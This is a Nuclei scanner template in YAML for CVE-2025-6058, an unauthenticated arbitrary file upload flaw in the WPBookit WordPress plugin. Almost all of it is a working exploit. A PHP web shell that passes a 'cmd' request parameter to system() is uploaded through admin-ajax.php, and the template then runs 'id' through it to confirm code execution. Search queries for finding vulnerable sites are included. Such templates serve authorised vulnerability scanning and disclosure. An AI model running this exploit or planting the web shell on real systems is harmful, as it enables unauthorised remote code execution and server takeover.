id: CVE-2025-6058

info:
  name: WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.
  impact: |
    Unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 1.0.5
  reference:
    - https://wordpress.org/plugins/wpbookit/
    - https://github.com/Nxploited/CVE-2025-6058
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpbookit/wpbookit-104-unauthenticated-arbitrary-file-upload
  classification:
    epss-score: 0.05649
    epss-percentile: 0.92193
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/wpbookit/"
    fofa-query: body="/wp-content/plugins/wpbookit/"
  tags: cve,cve2025,wordpress,wpscan,wpbookit,intrusive,file-upload,wp,vuln


variables:
  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
  cmd: 'id'
  month: '{{date_time("%Y/%M")}}'
  filename: "{{to_lower(rand_base(5))}}"
  string: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WPBookit")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="action"

        wpb_ajax_post
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="route_name"

        add_booking_type
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="title"

        {{string}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="booking_type"

        {{string}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="cover_image_img"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{payload}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "success","status")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/{{month}}/{{filename}}.php?cmd={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\) groups=\\d+\\([^)]+\\)", body)'
        condition: and
# digest: 4b0a00483046022100fbc1376a938f95706a5ef1f8b5f806fa63ecda60537f14bfe4b970da68840f640221009ff555e875856d1142614f39c1ac788140687c1bad8f3b77b233ee350b62ef46:922c64590222798bb761d5b6d8e72950